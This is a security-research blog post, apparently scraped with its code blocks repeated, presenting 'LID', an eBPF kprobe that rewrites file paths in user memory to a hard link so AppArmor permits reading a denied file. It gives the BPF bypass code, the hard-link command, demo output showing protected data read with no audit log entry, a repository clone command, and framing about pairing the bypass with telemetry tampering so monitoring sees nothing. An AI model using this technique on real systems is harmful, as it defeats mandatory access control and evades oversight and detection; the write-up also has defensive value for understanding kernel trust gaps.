Tools: LID / Linux Is Dying - Expert Insights

Tools: LID / Linux Is Dying - Expert Insights

I Bypassed AppArmor Without Disabling It — Using eBPF

The Setup

The Technique

The Result

Why BPF LSM Can't Do This

The Architecture

Stealth

The Bigger Picture

Limitations

Try It

What This Means The Linux Security Module framework has one iron rule that has held for 20+ years: Security modules can only add restrictions. They can never remove them. I didn't break that rule. I walked around it. AppArmor is a mandatory access control (MAC) system used on Ubuntu, Debian, SUSE, and most enterprise Linux distributions. It confines processes to a set of allowed file paths, network access, and capabilities. Here's a simple AppArmor profile: This says: test_reader can read anything in /tmp/ except secret_test_file.txt. AppArmor is doing its job. The kernel's LSM framework iterates every security module, and AppArmor says no. Game over. I wrote a BPF kprobe that attaches to do_sys_openat2 — the kernel's internal file-open handler. It fires before the kernel copies the filename from userspace. At that point, the filename is still sitting in a writable user-space buffer. The trick: I created a hard link to the secret file at a path AppArmor allows: AppArmor is pathname-based — not inode-based like SELinux. Two hard links to the same file are completely different identities to AppArmor. The deny rule blocks /tmp/secret_test_file.txt but the permissive /tmp/** r rule allows /tmp/.aa_bypass_link. The BPF kprobe rewrites the path before the kernel copies it → AppArmor checks the allowed path → grants access → process reads the protected file's content. AppArmor was never defeated. It was deceived. It correctly enforced its policy — on the wrong path. You might think: "Just use BPF LSM to override AppArmor." I tried. It can't. The kernel's call_int_hook macro iterates LSM hooks and short-circuits on the first denial: The LSM framework is secure. No module can undo another's denial. But kprobes don't go through the framework. They attach directly to kernel functions and execute before any LSM hook is consulted. Two kernel subsystems. Incompatible trust assumptions. One gap. This isn't just a bypass — it's an invisible bypass: The only artifact is a one-time kernel warning that says a BPF program might write to user memory. It doesn't say what, where, or when. This technique pairs with my earlier research SunnyDayBPF — which manipulates telemetry data after syscalls complete: Combined: ghost access. Bypass the security check, then rewrite what the monitoring system observed. The SIEM sees nothing. The analyst sees nothing. Being honest about what this can't do: The repo includes automated scripts for the complete demo — from AppArmor profile creation to bypass demonstration to cleanup. This isn't a bug in AppArmor. It's not a bug in eBPF. It's a design gap where two kernel subsystems have incompatible trust assumptions: When you can modify the input to a security check, the correctness of the check itself doesn't matter. The gate was never breached. It was misdirected. LID — Linux Integrity Drift

"Linux is Dying" Azizcan Daştan — Milenium Security Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

/tmp/test_reader { deny /tmp/secret_test_file.txt rw, /tmp/** r, } /tmp/test_reader { deny /tmp/secret_test_file.txt rw, /tmp/** r, } /tmp/test_reader { deny /tmp/secret_test_file.txt rw, /tmp/** r, } $ /tmp/test_reader [-] DENIED: open() failed: Permission denied (errno=13) $ /tmp/test_reader [-] DENIED: open() failed: Permission denied (errno=13) $ /tmp/test_reader [-] DENIED: open() failed: Permission denied (errno=13) SEC("kprobe/do_sys_openat2") int BPF_KPROBE(bypass_apparmor, int dfd, const char *filename, ...) { // Read the user-space filename bpf_probe_read_user_str(path_buf, sizeof(path_buf), filename); // If it matches our target... if (matches_target(path_buf)) { // Rewrite it to a hard link that AppArmor allows bpf_probe_write_user((void *)filename, bypass_path, len); } } SEC("kprobe/do_sys_openat2") int BPF_KPROBE(bypass_apparmor, int dfd, const char *filename, ...) { // Read the user-space filename bpf_probe_read_user_str(path_buf, sizeof(path_buf), filename); // If it matches our target... if (matches_target(path_buf)) { // Rewrite it to a hard link that AppArmor allows bpf_probe_write_user((void *)filename, bypass_path, len); } } SEC("kprobe/do_sys_openat2") int BPF_KPROBE(bypass_apparmor, int dfd, const char *filename, ...) { // Read the user-space filename bpf_probe_read_user_str(path_buf, sizeof(path_buf), filename); // If it matches our target... if (matches_target(path_buf)) { // Rewrite it to a hard link that AppArmor allows bpf_probe_write_user((void *)filename, bypass_path, len); } } ln /tmp/secret_test_file.txt /tmp/.aa_bypass_link ln /tmp/secret_test_file.txt /tmp/.aa_bypass_link ln /tmp/secret_test_file.txt /tmp/.aa_bypass_link $ /tmp/test_reader # Without LID [-] DENIED: Permission denied $ sudo ./lid_loader & # Load LID [*] BPF kprobe attached to do_sys_openat2 $ /tmp/test_reader # With LID [+] SUCCESS: Read 44 bytes: SECRET_DATA=this_is_protected_content_12345 $ dmesg | grep apparmor | grep DENIED # Check audit log (empty) # No denial was ever generated $ /tmp/test_reader # Without LID [-] DENIED: Permission denied $ sudo ./lid_loader & # Load LID [*] BPF kprobe attached to do_sys_openat2 $ /tmp/test_reader # With LID [+] SUCCESS: Read 44 bytes: SECRET_DATA=this_is_protected_content_12345 $ dmesg | grep apparmor | grep DENIED # Check audit log (empty) # No denial was ever generated $ /tmp/test_reader # Without LID [-] DENIED: Permission denied $ sudo ./lid_loader & # Load LID [*] BPF kprobe attached to do_sys_openat2 $ /tmp/test_reader # With LID [+] SUCCESS: Read 44 bytes: SECRET_DATA=this_is_protected_content_12345 $ dmesg | grep apparmor | grep DENIED # Check audit log (empty) # No denial was ever generated hlist_for_each_entry(P, &security_hook_heads.FUNC, list) { RC = P->hook.FUNC(__VA_ARGS__); if (RC != 0) break; // first deny wins } hlist_for_each_entry(P, &security_hook_heads.FUNC, list) { RC = P->hook.FUNC(__VA_ARGS__); if (RC != 0) break; // first deny wins } hlist_for_each_entry(P, &security_hook_heads.FUNC, list) { RC = P->hook.FUNC(__VA_ARGS__); if (RC != 0) break; // first deny wins } process: open("/tmp/secret.txt") │ ▼ do_sys_openat2() │ ★ LID kprobe fires here │ bpf_probe_write_user() │ rewrites "/tmp/secret.txt" → "/tmp/.bypass_link" │ ▼ getname_flags() ← kernel copies the (rewritten) path │ ▼ security_file_open() ← LSM hooks check "/tmp/.bypass_link" │ AppArmor: ALLOW ✓ ▼ VFS opens inode ← same file content │ ▼ return fd to process ← success, zero audit trace process: open("/tmp/secret.txt") │ ▼ do_sys_openat2() │ ★ LID kprobe fires here │ bpf_probe_write_user() │ rewrites "/tmp/secret.txt" → "/tmp/.bypass_link" │ ▼ getname_flags() ← kernel copies the (rewritten) path │ ▼ security_file_open() ← LSM hooks check "/tmp/.bypass_link" │ AppArmor: ALLOW ✓ ▼ VFS opens inode ← same file content │ ▼ return fd to process ← success, zero audit trace process: open("/tmp/secret.txt") │ ▼ do_sys_openat2() │ ★ LID kprobe fires here │ bpf_probe_write_user() │ rewrites "/tmp/secret.txt" → "/tmp/.bypass_link" │ ▼ getname_flags() ← kernel copies the (rewritten) path │ ▼ security_file_open() ← LSM hooks check "/tmp/.bypass_link" │ AppArmor: ALLOW ✓ ▼ VFS opens inode ← same file content │ ▼ return fd to process ← success, zero audit trace git clone https://github.com/azqzazq1/LID cd LID sudo ./scripts/setup_env.sh # install deps make # build sudo ./scripts/setup_demo.sh # create test environment sudo ./scripts/run_demo.sh # run full demo git clone https://github.com/azqzazq1/LID cd LID sudo ./scripts/setup_env.sh # install deps make # build sudo ./scripts/setup_demo.sh # create test environment sudo ./scripts/run_demo.sh # run full demo git clone https://github.com/azqzazq1/LID cd LID sudo ./scripts/setup_env.sh # install deps make # build sudo ./scripts/setup_demo.sh # create test environment sudo ./scripts/run_demo.sh # run full demo - BPF before AppArmor: BPF returns 0 (allow), loop continues, AppArmor denies. - BPF after AppArmor: AppArmor denies, loop breaks, BPF never runs. - Writable buffer required — if the path is a string literal in .rodata (read-only memory), bpf_probe_write_user fails. Most real programs use dynamically constructed paths though. - Hard link needed — attacker must create a hard link on the same filesystem. - Root/CAP_BPF required — you need privileges to load BPF programs. But the value isn't "root can read files" (trivial) — it's "root can read files without AppArmor knowing." - AppArmor only — SELinux uses inode labels, not paths. Path rewriting doesn't help there. - The LSM framework assumes all security decisions flow through its hook chain - The eBPF subsystem provides hook points that execute before those security decisions